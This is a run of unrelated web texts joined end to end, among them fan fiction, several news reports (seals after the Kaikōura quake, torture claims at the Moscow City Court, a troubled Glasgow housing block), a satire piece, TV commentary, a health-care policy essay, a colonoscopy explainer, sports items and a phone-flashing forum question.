"Oh? Do you want me to go out again? I can pretend that I didn't see anything." She giggled when Anna shot her a glare.
"Very funny."
"For the record," Elsa began, "when I first tried cooking, I cut myself five times in the first minute."
Anna stared dumbly for a second. "You're pulling my leg."
"Am I? Remember that time my hand was covered in bandages?" Elsa tilted her head to the side and grinned when Anna's eyebrows shot up to her hairline. "That was the end result of trying to cook for the first time. You can ask mama if you want."
Anna only gazed at her in mild disbelief, while Elsa didn't bother averting her gaze. If this happened weeks ago, she would've already snapped her eyes elsewhere. But there was this feeling in her chest right now that was telling her not to. Almost as if she was... allowed to stare.
"You can laugh," Elsa promised with a smile when she noticed Anna's lips quivering a little. Not a moment later, the redhead did end up laughing.
The sound and sight made Elsa feel embarrassed, but she couldn't bring herself to shy away. Anna had been way too tensed lately and she wanted her to lighten up. If sharing a stupid experience from the past would make her feel completely comfortable again, Elsa wouldn't mind looking like an idiot.
"What were you planning to make? I'll help you." Elsa grabbed another chopping board and knife from the drawer and placed it on top of the kitchen counter. Before Anna could retort, she raised the knife to stop her. "Just this once, for you to learn the basics. I still expect you to cook for me someday, though."
"T-That's... Fine. J-Just don't laugh or say anything mean. I might not be the best student when it comes to cooking."
"Do you honestly think I don't have the patience for you? Besides, everyone was born an amateur. I wasn't good at cooking too, okay? That's why we learn."
Anna's heart threatened to break her ribs the more she looked at Elsa grinning. It wasn't even the first time she ever saw that bright smile and was helped out. Heck, Elsa was the one who helped her learn a lot of things. It was just embarrassing because Anna was truly planning to cook for her. Knowing that Elsa was now expecting it too...
"F-Fine."Seal populations displaced from a coastal sanctuary by the Kaikōura earthquake are recovering as they seek new locations, the Department of Conservation (DOC) says.
Photo: 123rf.com
The magnitude 7.8 quake triggered a large slip at the Ohau Point seal sanctuary, and DOC was concerned it might have killed and injured many seals.
Operations director Roy Grose said the seals were already colonising new territory to the north and south of the slip, which had hit a significant portion of an important breeding site.
He said DOC was working closely with the NZ Transport Agency and KiwiRail as they rebuilt State Highway 1 and rail links along the Kaikōura coast.
"DOC marine mammal experts are reporting that overall the seals have been remarkably resilient to the impacts of the earthquake and the subsequent work to reopen transport links," Mr Grose said.
He said they had also seen positive results from the Transport Agency's trial earlier this year of fencing and herding seals away from areas where work was being carried out.
The seals were learning to keep away from electric fences, he said.
Photo: RNZ / Rebekah Pasons-King
Marlborough Conservation Board deputy chair Gina Solomon said earlier that, while there was a huge push to get the highway open, there was less thought about conservation or the environment.
The board estimated that by early this year there were about 1500 seal pups along a 2-3km stretch of coastline.
Mrs Solomon said opinion was sought from various conservation authorities and experts and electric fences were found to be the best at protecting the seals from further harm.
Photo: RNZ
Mr Grose said it was an unprecedented situation.
"The combination of heavy landslides along a vital part of our state highway and rail network and a dense population of seals is something we haven't experienced before.
"We will continue to support this work, provide advice and monitor impacts as it progresses," he said.
Seals are protected animals in New Zealand.
The road north of Kaikōura remains closed while extensive work is carried out to clear slips and restore road and rail links.
The Transport Agency said it was on track to have the road re-opened by December.Vanessa Arbour, left, and friend Benjamin Gorbach talk about the Democratic presidential candidacy of Sen. Bernie Sanders, I-Vt., on Saturday June 11, 2016, in Burlington, Vt. Sanders is in his hometown of Burlington for the weekend and residents and visitors to the city say they're proud of what Sanders has accomplished during his bid for the Democratic presidential nomination, but they are coming to recognize his active campaign for the presidency is coming to an end. (AP Photo/Wilson Ring) The Associated Press
By WILSON RING, Associated Press
BURLINGTON, Vt. (AP) — People in this lakeside city that Bernie Sanders helped transform as mayor before embarking on a career in Congress are proud of the mark he's left in the 2016 presidential race even as they recognize that his White House bid is almost certainly going to fall short.
The senator returned to Burlington, his hometown, after a week of major developments in the campaign: Hillary Clinton clinched the Democratic nomination, President Barack Obama endorsed her after meeting with Sanders at the White House, and the party kept up efforts to ease Sanders from the race while trying not to offend his many supporters.
Sanders was largely staying out of public view this weekend, though he was booked on some Washington-based news shows on Sunday and his campaign spokesman, Michael Briggs, said Sanders and his wife, Jane, invited "a couple dozen key supporters and advisers from around the country to come to Burlington to share ideas."
Briggs said he expected "a lot of thoughtful discussion among smart people and good friends."
Sanders was expected to return to Washington for Tuesday's primary in the District of Columbia, the final one on the nomination calendar. In an email Saturday to supporters, Sanders reminded them of their "chance to stand up and be heard." His message ended: "I thank you for everything you've shared with me and all the support you've given our campaign. Now it's time to bring it home on Tuesday."
Sanders hasn't said he would quit the race, but after meeting with Obama, he made clear he would do everything he could to stop presumptive Republican nominee Donald Trump from winning the White House.
People in Burlington are familiar with Sanders and the message of social justice that he has promoted since before he was elected mayor in 1981. Many credit him with helping make Burlington the vibrant, multicultural small city that it is today, and are thrilled to see his message gain so much attention.
"What's really cool is he sort of changed the narrative in a big way," said Benjamin Gorbach, 29, of Burlington, who works at the regional transit agency and was standing on Church Street in the rain Saturday with friend Vanessa Arbour, 26, an information technology worker. Both are Sanders supporters.
Said Arbour: "I think the real important thing about Bernie was that a) he really had a chance of winning and b) people actually thought he was going to win."
Sarah Mandl, 26, of Ithaca, New York, who attended the University of Vermont and spends summers in the state, said she was surprised and happy that Sanders made it as far as he did in the race, and continues to try to get out his message "even though he knows he's not going to be president."
Dan McAllister, 60, a clergyman from South Burlington, credited Sanders with raising "some questions both the Democrats and the Republicans have to answer."
Don Dresser, 65, a retired postmaster from Huntington who was wearing a "Bernie" sticker on his shirt, said he's not sure what's next for Sanders, but expects him to press his agenda at the party convention this summer.
"I mean he's been speaking on the same thing since I came here in the mid-70s."
___
Associated Press writer Ken Thomas in Washington contributed to this report.Insurance companies plan to effectively debunk the House GOP’s much-derided Obamacare survey at a Wednesday hearing.
The hearing is a follow-up to last week’s report from the House Energy and Commerce Committee, and is hosted by one of its subcommittees, that found only 67 percent of Obamacare enrollees had paid their premiums as of April 15. An industry source described the survey to TPM as “incredibly rigged” because it excluded any premium payments that were due April 30 or later.
Roughly 3 million of Obamacare’s 8 million enrollees would have had payments due after April 15 because they signed up March 15 or later.
A follow-up letter sent to insurers by the committee seemed to indicate that companies had raised that issue. Testimony prepared for Wednesday’s hearing, and which was first reported by Bloomberg, is another direct contradiction of the Republicans’ methodology.
Dennis Matheis, a vice president at WellPoint, one of the nation’s largest insurers, plans to point out the payment percentage is much higher if you count only the payments that have actually come due, up to 90 percent:
The percentage of applicants that have paid a premium will differ depending on whether the percentage is calculated based on the total number of applications and premium payments received during this entire time period (roughly 70 percent) or is calculated based on the total number of applications and premium payments received for policies whose premium deadline has passed (ranging up to 90 percent depending on the state).
Paul Wingle, an executive at Aetna, plans to make the same point, estimating his company’s customers are paying at better-than-80-percent clip:
For those who had reached their payment due date, the payment rate, though dynamic, has been in the low- to mid-80 percent range.
A third industry witness, J. Darren Rodgers of Health Care Services Corp., plans to stress that the last segment of payment data “is not yet complete given that deadlines for all of those policies may not yet have passed.”In the office for familiarizing with the materials of the case the accused were handcuffed to the wall and beaten.
Dmitry Piskunov, representative of the Public Monitoring Commission (PMC), lawyer of the Committee for the Prevention of Torture, told Mediazona about tortures on the ground floor of the Moscow City Court. According to him, everything happened in the office for familiarizing with the case materials. The rings mounted in the wall of the office are designed the way one of the prisoners' arms could be fastened to them, while the second one could flip through the materials of his case while sitting at the table. However, according to Uzbek citizen Kamron Usmonov, this room is used for punishments – in particular, he was left manacled in an uncomfortable position for several hours without a chair and table.
20-year-old Usmonov is accused of 8 robbery attacks (however, he himself admits only 6). According to him, everything began with the beating in the holding cell after the conflict with the guards.
This photograph was taken by one of the guard sympathizing with the convict
After talking with Usmonov in the pre-trial detention center, Piskunov claims that the guards regularly deal the prisoner a slap in the face, which do not leave bruises, or simply insult him.
The judge and the prosecutor's office gave no response to the complaints of his lawyer, and the beating stopped only after he cut his veins right during the hearing. However, after that the practice of fixing him to the wall began.
At the end of March Usmonov was sentenced to 16 years of the colony and is now waiting for consideration of the appeal against the verdict.
Another convict Denis Karelin said in an interview with Piskunov that in October last year the guards beat him twice in the Moscow City Court. The reason was also his conflict with one of them. The beaten told the judge what had happened. After that he was also taken to the same place on the pretext of getting acquainted with the case and fastened to the wall, left for a period of 1.5 hours in a position of somewhat lighter version of ‘Palestinian suspension’ (when a person is suspended on the hands connected from behind, die to which they are severely twisted).
According to human rights activists, it is not known whether there are any documents authorizing the use of these means of fixing defendants. At least there are no similar designs in other courts.
The tyranny reigning in the building of the Moscow City Court has been complained about before. In 2015, 60-year-old Muscovite Lyudmila Fadeyeva, accused on a swindling case with real estate, appealed to human rights defenders, and told them that she had been brutally beaten in one of the premises of the building by the guards. She also described this place as the one where they get acquainted with criminal cases – there were tables with chairs, the rings mounted in the wall and there was no video surveillance.
The woman noted that she did not file a petition for familiarization with the documents, which means that the guards had no formal grounds to bring her into this room.
An official check was conducted on the fact of beating Fadeyeva on the initiative of the Committee for the Prevention of Torture, about the results of which lawyers were not informed due to official secrets.
The Moscow City Court waived responsibility for what was happening in their building, stating to Mediazona that it was the police that were engaged in guarding prisoners during procedural actions and, accordingly, while familiarizing with the materials of criminal cases. The Ministry of Internal Affairs in Moscow, who is in charge of the special police regiment responsible for escorting and protecting people under investigation and defendants declined to give comments.Raft guide Hannah Clayton (left) grapples with the bewilderment of one of her clients just after informing him that his family's stuff is likely in the hands of meth fiends, or even worse, migrant river rats. Sam Morse photo.
Mountain Town, USA — A Denver-based insurance salesman visiting Ski Town USA with his family Saturday was shocked to learn that his basic understanding of the natural world is completely out of sync with reality. The tourist and family man, 33-year-old Chip McDaniels, had the startling revelation at the end of a whitewater rafting trip on the Snake River.
According to river guides who witnessed the event, McDaniels, who believed that rivers go in circles, initially assumed the trip would be ending at the same place where it began, leading him to leave all of his family’s possessions at the put-in. After much deliberation, the guides collectively agreed that he was "a total dumbass."
RELATED: Leaked Report Reveals Where Ski Resorts Put Moguls In Summertime
The family's misplaced belongings, which as of press time had still not been recovered, included two iPhones, a Fitbit fitness tracker, a selfie stick, two bottles of Ritalin (for the kids), a bottle of Xanax (for Mom and Dad), dry clothes and, most tragically, several polaroid selfies taken with Yellowstone Bison earlier in the trip.
According to 24-year-old river guide Hannah Clayton, the cold hard confusion of reality hit the family like a “ton of bricks” once the river trip had concluded. Dripping wet and shivering, McDaniels and his wife Beverly began searching the take-out for their possessions, becoming more frantic as their search became desperate.
As politely as possible, I explained to them that the river was not in fact a circle, and that they’d left all their shit 20 miles upriver.
“Finally he asked me where his stuff was, and told me he’d left it because he thought we were ‘just gonna end where we started,’ ” Clayton told TGR during a Skype interview. “As politely as possible, I explained to them that the river was not in fact a circle, and that they’d left all their shit 20 miles upriver. By then, his sons were twitching for their meds and Beverly had broken down into tears. The poor guy just stared into the distance — in his eyes you could see his whole version of reality falling apart. It’s tough, how do you tell someone that they’re basically an idiot?"
Clayton, while stressing that it’s not entirely common, said she wasn’t surprised by the incident. “I knew it was gonna be a rough trip when the mother, Beverly, asked me: ‘How do you keep the rafts on the tracks?’ ”
Calls to McDaniels for his account of events were not returned, but independent reports confirmed that a week after the incident on the river, McDaniels had given all his possessions to charity and had checked in at a local monastery, proclaiming a desire to rid himself of his deep ignorance of the world around him.
From The Column: The BumionNotes On A 'Scandal': Fitz Is The Most Dumpable Man On Television
Enlarge this image toggle caption Randy Holmes/ABC Randy Holmes/ABC
If you watch Scandal, you know that there, Fitzgerald Grant is the President of the United States, and that he goes by "Fitz." Now "Fitz," let's face it, is already a pretty punchable name, given that combined with his personality, it makes him sound like somebody with a beanie and a lot of polo shirts grew up, got even richer, had a son, and taught him how to give swirlies to the math team. Fitz is involved, on and off (currently off, or possibly on, but maybe off) (maybe half-off, like end-of-the-season shoes), with Olivia Pope.
Olivia is the protagonist of Scandal, and even though she is a terrible person*, she probably deserves better than Fitz.
(Did I mention this contains spoilers? It contains spoilers.)
Anyway, why does Olivia deserve better than Fitz? Because we all deserve better than Fitz. Did you hear me, O Women Of The World? If you are reading these words, you deserve better than Fitz. Unless, that is, you are Mellie, Fitz's wife, who exactly deserves Fitz, which is part of what makes the show's central romantic mythology kind of hard to give a hoot about. If Olivia had a lick of sense, she would make the "that's that" motion with her hands like she's smacking the dust off, say "ptooey," and go have sex with someone more worthwhile. Meaning: anyone.
And Fitz and Mellie would go off and have a whole bunch of evil babies and tour the world like the Von Trapp Family Singers, only they would be a troupe of lying, well-dressed hypocrites who would cry and complain instead of singing "So Long, Farewell."
Because honestly, Fitz is the worst. He is the absolute worst. In case you don't believe me, I am prepared to present my list of reasons.
1. Personally murdered an old lady with cancer to save his own neck.
2. Cheated on his wife and managed to blame both the wife and the cheatrix. (I just made that word up; I think we need it.) (Especially for this show.)
3. Found out he became president fraudulently, and instead of setting anything right, looked at everyone who fraudulently made him president and was like, "HOW COULD YOU? I AM THE SADDEST BOY IN ALL THE LAND."
4. Borrowed from the military a fellow named Jake, whose task was to stalk and spy on Olivia.
5. Possibly maybe directly or indirectly responsible for getting Jake thrown in The Big Box O'Jail, a terrible tiny hole in a cement floor where nobody has fun.
6. Somehow managed to feel betrayed when he found out that while he remained with his wife in the office he corruptly obtained, his cheatrix slept with the guy he hired to stalk her. WOE IS FITZ!
7. When sad, makes a face like he's trying to pass a kidney stone made of love and anguish.
8. Threatened his wife that if she didn't go away quietly and leave him and Olivia to restart their lives together, he would ruin her possible political future by falsely telling everyone she was a racist who only objected to his relationship with Olivia because Olivia is African-American.**
9. Oh, wait — that was after he bragged to his wife about how his relationship with Olivia was going to be a boon to race relations in America.
10. Clearly believes his simpering self-pity is his father's fault, because he can't even take responsibility for his unwillingness to take responsibility for anything.
11. Clearly believes the problems in his relationship with Olivia are more the result of the fact that she doesn't understand him and nobody understands him and WOE IS FITZ and less the result of the fact that he is a married corrupt sniveling jerkface weasel.
12. Who PERSONALLY MURDERED AN OLD LADY WITH CANCER TO SAVE HIS OWN NECK.
Olivia should dump Fitz. Mellie should dump Fitz. Everybody should dump Fitz. People who have never met Fitz should dump Fitz. White House tour groups should be brought through his office for the sole purpose of dumping him at the end of the visit. Strangers should be encouraged to queue up to dump him in more and more interesting and violent ways, like the "Calm down, get a hold of yourself!" line in Airplane!
Because Fitz is absolutely the worst.
*Helped fix an election, encouraged tormented employee to resume life as torturer, falsely set up only nice person in Washington to look like abusive boyfriend to save lover's behind, picked wrong guy as dangerous mole, doesn't know enough to keep her undies on when in the Oval Office.
** Olivia's idea.***
***Because Olivia is a terrible person.In the fall of 1994, the Clinton Administration’s much debated comprehensive, and complicated, health-insurance bill—known derisively as Hillarycare—died quietly on Capitol Hill. It was a moment that, the Princeton sociologist Paul Starr later argued, would “go down as one of the great lost political opportunities in American history.” But, before the end, talk of another approach kept bubbling up: to allow those Americans who couldn’t get insurance elsewhere to buy a policy that was just as good, and inexpensive, as what members of Congress got. When Senator Edward M. Kennedy, of Massachusetts, said that Americans should get “exactly what we have,” he meant the Federal Employees Health Benefits Program.
The F.E.H.B.P., as it’s known, was started in 1959, a few years before Medicare, and was meant to cover some nine million government employees—civil-service workers, the courts, the Post Office, members of Congress, and more. It wasn’t a single plan but, rather, as a Times story put it, “a supermarket offering 300 private health plans.” (Even the right-learning Heritage Foundation called it “a showcase of consumer choice and free-market competition.”) One may get a sense of its scope and inclusiveness—its supermarket-ness—in the way that the Office of Personnel Management, which administers the program, explains it to federal employees. Much of the program—for instance, the idea that no one can be refused, or charged more, for a preëxisting condition, or that dependents under twenty-six are covered—will sound familiar to anyone conversant with the most attractive parts of the Affordable Care Act.
In the summer of 1994, when the Clinton Administration struggled to win approval for its proposal, there were some signs of actual good will in Congress, along with the predictable determination to dynamite the whole idea. Senator Daniel Patrick Moynihan, a New York Democrat, wanted any insurer who sold policies to federal workers to offer the same thing to “civilians,” at a reasonable price. Bob Dole, a Kansas Republican and the Minority Leader, favored a scheme in which self-employed individuals and small businesses (employers of up to fifty workers) could buy the federal policy “at the same premium price.” There were several variations of this approach.
Then it all went bad, as it had gone bad since the days of the New Deal. Newt Gingrich, who was then the deputy Minority Leader of the House, warned President Clinton that he was endangering his entire agenda in the pursuit of health-care reform—in particular, Gingrich insisted that Clinton was risking a global trade agreement that was probably never in danger. (Someone probably can still explain that era’s excitement over the General Agreement on Tariffs and Trade, or GATT.) Dole by then had given up, and so had Congressman John Dingell, of Michigan, a Democrat, who had been pushing health-care reform since 1955 but eventually said that it was “time to give health-care reform a decent burial and provide for its rebirth.” Two months later, in the midterm elections, Democrats, although they managed to cling to the Senate, lost the House by the widest margin since the midterms of 1946; Gingrich was elected Speaker on the strength of his “Contract with America,” which made a number of promises that were impossible to keep, and in the process launched an era of rabid partisanship. The failure of health-care reform showed mostly that Democrats were a pushover party, with few sounding like Senator Bob Kerrey, of Nebraska, who said, “I’m not elected to read the polls and say the public wants me to give up.” The “rebirth” for which Dingell hoped would only come a decade and a half later, with the passage, in 2010, of the Affordable Care Act. For all its flaws, bumbled launch, and absence of Republican support, the A.C.A. has provided health insurance to some twenty million Americans who didn’t have it before. Republicans have been venomously eager to dismantle it ever since. Late last week, the Senate took a big step in that direction by passing a budget “blueprint” that will make it easy for Congress, controlled by Republicans, to repeal the act.
If it’s sometimes hard to understand what makes Republican legislators so angry, here is a theory: their fury may not stem from some ungraspable principle, or hatred of President Obama’s historic victory (or of Obama himself), but, rather, from something personal, and selfish. Under the A.C.A., members of Congress, and congressional staff, among other Capitol Hill employees, were no longer eligible for the F.E.H.B.P. In the chilly language of government directives, the Office of Personnel Management Web site said that “Section 1312 of the Affordable Care Act requires that Members of Congress and their official staff obtain coverage by health plans created under the Affordable Care Act or coverage offered via an Affordable Insurance Exchange.”
Ouch! In other words, the comfortable choices that were available for more than fifty years were suddenly transferred to the slightly murky passageways of Obamacare. And it follows that, if the Affordable Care Act is repealed, members of Congress would be able to return to the federal plan that they, like millions of federal employees, were so fond of. Twenty million other Americans won’t.
A better idea, though, might be to find a path (it won’t be easy, but it’s certainly easier than anything else that might be effective and that hundreds of legislators could ever agree upon) to finally offer the beloved, and by most accounts well-administered, federal plan to the rest of the uninsured nation. We can almost hear America demanding, “We want what they’re having.” If Congress is serious about repealing, and replacing, the act, then that’s the sort of replacement that almost anyone could live with.BUFFALO -- The Buffalo Sabres determined it was not necessary to interview Erie Otters center Connor McDavid this week during the 2015 NHL Scouting Combine.
McDavid, No. 1 on NHL Central Scouting's final ranking of the top North American skaters for the 2015 NHL Draft, is expected to go No. 1 to the Edmonton Oilers when the draft is held June 26-27 at BB&T Center in Sunrise, Fla.
"We haven't interviewed McDavid and we probably won't," Buffalo director of amateur scouting Greg Royce said Thursday. "If he slips to No. 2 and Edmonton takes Jack Eichel … we have met McDavid before and we know he's a fantastic player and person.
"We just thought maybe it was wasting his time [to schedule an interview]. We'd love to meet him and bring him in. But at the same time, we know him, he's a great kid, smart kid and we have no issues with him."
The Sabres interviewed Eichel, the Boston University center ranked No. 2 on NHL Central Scouting's final list of North American skaters, on Tuesday. If the Oilers draft McDavid, many anticipate the Sabres will select Eichel No. 2 in the draft.
"We did the full interview process with [Eichel] like we do any other player," Royce said. "He was great, very confident and personable. He's an intelligent person off the ice, and the on the ice his talent speaks for itself."
McDavid had four interviews this week, and Eichel had six.
---Most Americans hear “colorectal cancer screening” and think “colonoscopy” — the unpleasant cleanse, the snakelike scope, the wobbly ride home. It’s a process that’s undeniably inconvenient, yet one we’re told is unquestionably necessary.
That’s a shame. Because although colonoscopy certainly has its advantages, direct evidence that it’s the best way to prevent deaths from colorectal cancer is not one of them. And the drawbacks of colonoscopy — including the time commitment, not-so-fun preparation, expense and small chance of harm — are probably keeping some people from participating in colorectal cancer screening.
According to public health experts, that’s a bad thing. The United States Preventive Services Task Force says the net benefit for screening adults age 50-75 is “substantial,” adding that colorectal cancer is the second-leading cause of cancer death in the country. But as of 2012, just 65 percent of eligible adults were being screened as recommended, and almost 28 percent had never been screened.
Among those who are screened, colonoscopy is by far the most popular method in the U.S. But there is a menu of options beyond colonoscopies — and they’re not necessarily any better or worse, according to the USPSTF’s recently finalized updated recommendations for screening among average-risk adults. The group said that while some tests are backed by more evidence than others, it found no head-to-head studies suggesting any strategy — including colonoscopy — is better than another. “Choose the one that fits your preferences and lifestyle,” said Douglas Owens, a physician and member of the task force.
Included on the list are two cheap, at-home poop tests intended to be done annually: the guaiac-based fecal occult blood test (gFOBT) and a more sensitive test called the fecal immunochemical test, or FIT. Both look for tiny amounts of blood in the stool that might be shed by cancer or polyps. You get one from your doctor, take a poop sample at home, and then return the sample to the doctor. Only if you get a positive result do you need to have a colonoscopy. (These are different from a new stool-based DNA test, which while on the USPSTF’s list is much more expensive and has been studied less.)
Of the two, Richard Wender, a physician and chief cancer control officer of the American Cancer Society, said the FIT is preferable, both because it’s more accurate and because it requires only one poop sample and no changes in diet. It costs about $25 or less and when done every year, the USPSTF’s models estimate, it will avert 20-23 deaths from colorectal cancer per 1,000 people screened. (Wender doesn’t recommend the OTC tests that are available.)
That’s comparable to the two “scope” tests on the USPSTF’s list, flexible sigmoidoscopy and colonoscopy, which have the advantage of both detecting and removing precancerous polyps in one procedure. (Flexible sigmoidoscopy, which looks at the lower part of the large intestine, has been shown by randomized trials to prevent deaths from colorectal cancer but isn’t reimbursed as well as colonoscopy and is on the decline in the U.S.)
Colonoscopy is the most popular test in the U.S. In addition to its polyp-removing ability, if you have a negative test, you don’t have to come back for another 10 years. There is indirect evidence it reduces colorectal cancer deaths, in the form of a large study following people who did and didn’t get the test over time. And it seems logical that if sigmoidoscopy cuts colorectal cancer deaths, the more extensive colonoscopy must provide a similar benefit. But that’s not yet been proved by randomized controlled trials. Based on the available evidence and its modeling, the USPSTF estimates it reduces deaths from colorectal cancer by 22-24 per 1,000 people screened.
But that lack of trial data is why the Canadian Task Force on Preventive Health Care earlier this year recommended against using colonoscopy as a first-line screening method. “They were very clear: We’re going to stick to the evidence, and right now we don’t have evidence for colonoscopy,” said Aasma Shaukat, section chief of gastroenterology in the Minneapolis VA Health Care System.
Colonoscopy also has plenty of downsides. It’s expensive, running upward of $1,000. (The test is covered without cost sharing as preventive care under the Affordable Care Act.) Most people prefer to have sedation during the procedure, which means time off from work and finding a ride home. There’s variation in the quality of the test, depending on who’s doing it. There’s a small but real risk of harm, such as a perforation.
So why do so many people prefer it to the poop test? For many, because they’ve been told it’s the best test to get. A 2012 study found primary care physicians overwhelmingly said they thought it was the best colorectal screening option. Katie Couric’s on-air colonoscopy in March 2000 boosted awareness and increased colonoscopy rates. There’s also a “more is better” attitude when it comes to medicine among many people, said Shaukat. And colonoscopies are well-reimbursed for the physicians who perform them. Hospitals have focused on marketing colonoscopies rather than alternative tests.
No one is arguing colonoscopy is a bad test. It just hasn’t been shown to be better than an annual FIT, said James Allison, a clinical professor of medicine emeritus at the University of California-San Francisco. He said the public health message is slowly changing to reflect that. The 80% by 2018 campaign from the National Colorectal Cancer Roundtable, for example, which aims to increase the rate of screening, emphasizes a suite of options. “People are very motivated to get screened when they hear colorectal cancer is the second-leading cause of cancer-related death and if they know there are tests that are affordable and can be done at home,” said Wender.
So if you want a colonoscopy after talking with your physician and digging into all its pros and cons — fantastic. But if you prefer something less invasive but more frequent, you can test your poop every year without feeling like you’re opting for, um, No. 2.UNC Wilmington and Hofstra clawed away at one another for an extra-minutes thriller in the CAA Tournament final Monday, and on the shoulders of Denzel Ingram's late-in-overtime three-pointer, the Seahawks squeaked out an 80-73 win. The CAA champions have thus earned their conference's automatic bid to the NCAA Tournament.
Hofstra led the night's proceedings at halftime, 41-34, and opened the advantage to as many as 12 points, but a nine-minute scoring drought from the Pride late in the second period allowed UNCW to storm back and lead 68-64 with two minutes remaining. UNCW's Chris Flemmings committed a blocking foul on Hofstra's Juan'ya Green, who nailed both free throws to even things up at 68 with just 27 seconds on the clock.
Craig Ponder then drove to the basket on UNCW's ensuing possession and drew contact to grant Hofstra a final attempt in regulation. Green threw up a prayer from 40 feet that clanged out.
The resulting overtime frame knotted both clubs into a blow-for-blow grunt fest that saw limbs and fouls fly early and often, but the Seahawks outscored the Pride, 12-5, therein to earn the win. UNCW shot 4-of-4 from the floor in the extra period, and Ingram's heroic three-pointer with 34 seconds left proved the dagger for Hofstra's tournament hopes.
With the win, UNCW earns its first trip back to the NCAA Tournament since 2006. Chris Dobbertean projected Hofstra into the field of 68 as a No. 12 seed, so it'll be interesting to see where the Seahawks finally end up.I'm currently on AOSP V4 which if flashed from MIUI 7.1.8.0 (flashed with unofficial way to unlock bootloader). I made the TWRP backup of 7.1.8.0 before flashing aosp.Today i tried restoring it back but twrp throws error-255 for system partition and didn't moved further. So TWRP is quite risky as there is no guarantee if it has made the backup right way or not. In my case it didn't and i am f**d.So came across this thread.Now after 2 months, wanted to try MIUI againSo can i just flash it using TWRP with wipe over Aosp without any other special steps?and how do i make sure TWRP has made the Backup correctly each and every time?as for 7.1.8.0 i used compression and it made the corrupt backup but made correct backup for aosp v4 itself?Chesterfield have secured Ched Evans on a 12-month contract extension, tying him to the club until the summer of 2018.
Chris Turner, Chesterfield's director of football, said: "Ched is a quality player so
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worked, it does work and it'll continue to work."
Confidence not shared by all
Lou Boudreau, a schooner captain and consultant, doesn't share that optimism.
"If it isn't such an important issue, how come the ship had to return to port? It is a serious issue, very serious," he said.
Boudreau says the problem goes deeper than a steering problem.
Schooner captain and consultant Lou Boudreau says the issue is deeper than a steering problem. (CBC)
"It's the wrong rudder and they haven't fixed the rudder, all they're doing is applying brute force in the hopes that they can just force it to work. And that's not the way it works," he said.
Boudreau says with every fix, a new bandage is being put on the real problem.
"It's a bad design," he told CBC's Maritime Noon.
He says the good reputation of Lunenburg shipwrights and shipbuilders is taking the hit. But ask any one of them, and Boudreau says they would solve the problem.
"They'll tell you put a good old fashioned Lunenburg rudder on there with a Lunenburg foundry worm gear. Those systems have been sailing schooners to the Grand Banks for generations."
Boudreau says the heavy steel rudder — and $700,000 hydraulic lift used to move it — should be scrapped.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
IT was a luxury £32million housing development aimed at well-heeled movers and shakers.
Buyers were left with little change from £200,000 when they snapped up the two-bed flats in the apartment block while penthouses cost an eye-watering £320,000.
Kingston Quay, in Tradeston, Glasgow, was the ultimate city centre address for those lucky enough to afford the high-end price tag.
But now – just a decade after construction was completed – horrified residents are desperate to offload what have become the most toxic properties in Scotland.
A Sunday Mail investigation has revealed how the 372-apartment site has turned from a dream postcode to a crime-ridden nightmare.
House prices have plummeted, trapping homeowners in a negative equity nightmare, while the building is now without insurance after they rowed with the factor.
We can reveal that three brothels operate within the development and a “party service” for transsexuals is also based there.
Drug paraphernalia can be found on the back stairwell while dried blood stains walls.
A recent increase in house break-ins and car crime has been triggered by a faulty secured-door entry system which hasn’t been operational since last year.
Lifts in the complex – based at 220 and 240 Wallace Street – are also out of use.
And to rub salt into already gaping wounds, residents pay a whopping £270 a month in
council tax to Glasgow City Council.
It’s estimated that only around 22 people who live in the complex own their home. The majority of residents are tenants who rent from multiple buy-to-let landlords.
Owners have also been locked in a financial dispute with maintenance firm City Factoring, who recently withdrew their services.
One owner, who has lived there with his wife since it was completed and didn’t want to be named, said: “It’s like living in a nightmare and we’re trapped. There’s no way we could sell our property now. We would probably have to give someone cash to take it off our hands.
“Just when I don’t think things can get much worse, they do. There’s always clear evidence of drug taking on the stairs – some junkies even leave their needles.
“We’re aware of prostitutes operating from the building. I have called police any time I’ve seen something suspicious but it still goes on.
“The factoring issue has been a disaster. We don’t have a factor at the moment because of a continuing dispute over work and money.”
Another homeowner told how he is desperate to escape Kingston Quay for the sake of his family.
The man, who also didn’t want to be named, said: “I’ll never get my money back on my flat. I’d be lucky to get 60 per cent of what I paid.
“We have a five-year-old son but this is definitely no place for a child.
“There are too many absent landlords who don’t care and lease their property – they want to get their money no matter what. That’s resulted in a lot of undesirable people coming and going.”
But not all tenants are to blame. Owen McDonald, 20, and girlfriend Bethany Anne, 21, moved in a year ago and plan to leave when their £550-per-month lease expires this month.
The young couple had their flat broken into by thieves and say they don’t feel safe living there.
Bar worker Owen said: “There’s always dodgy people floating in and around the building. You can see that drug taking goes on and we’ve heard of the prostitution. We’ll be glad when we leave.”
Bethany added: “I really don’t feel safe here and the building is falling apart. Parts don’t even look as though they’ve been finished.
“I feel sorry for the people who paid a lot of money when these properties first came on the market.”
Many homeowners say builders Barratt misled them when the properties first came on the market.
They claim they were told only 10 per cent of apartments would be sold to buy-to-let investors. But they fear the figure is closer to 90 per cent.
In 2006, one duplex flat was bought for £307,980 only to be sold again in 2010 for £133,150.
Another property purchased for £200,000 was sold for £75,000.
A number of repossessions sparked by the economic downturn in 2008 also led to homes being snapped up at rock-bottom prices. But prices have continued to nosedive since then.
The land register reveals that a two-bed flat bought for £130,750 in June 2004 sold for £70,000 in March.
Another flat was bought for £193,950 in February 2006 only to be sold again in May last year at the knock-down price of £63,250. We discovered three women – two eastern Europeans and one Thai – operating brothels within the complex.
All of them advertise on an adult website used by escorts to drum up business.
The hangout for transsexuals and cross-dressers at Kingston Quay is also advertised on the internet. The women behind the site charge men £60 for a two-hour stay and £110 for an evening appointment. Transsexuals are charged £50 if they want to stay overnight. A bondage and fetish night was held there on May 3.
Police Scotland say they are aware of safety fears raised by worried residents.
Chief Inspector Simon Jeacocke, area commander for Govan, said: “We’ve been made aware of several concerns raised by the local residents of Wallace Street regarding recent
incidents of car crime and housebreaking in the area.
“I would like to reassure the residents that their dedicated community police officers are providing additional attention to the area and we have regular cycle patrols at key times of the day.
“We’re continuing extensive inquiries into the recent incidents which have been reported to us.”
A Barratt spokesman said: “This development was completed at a time when the buy-to-let market was thriving.
“Barratt, like most other housebuilders, sell our properties to those who want to buy them and have the resources to do so, which includes private investors.
“We do not discriminate against buyers on the basis of whether they intend to let or occupy.”
City Factoring boss Gary Mitchell claims his firm were forced to withdraw their services from Kingston Quay after residents took out an interdict against his company.
He claimed the wrangle has resulted in the building no longer being insured and said its policy expired on May 23.
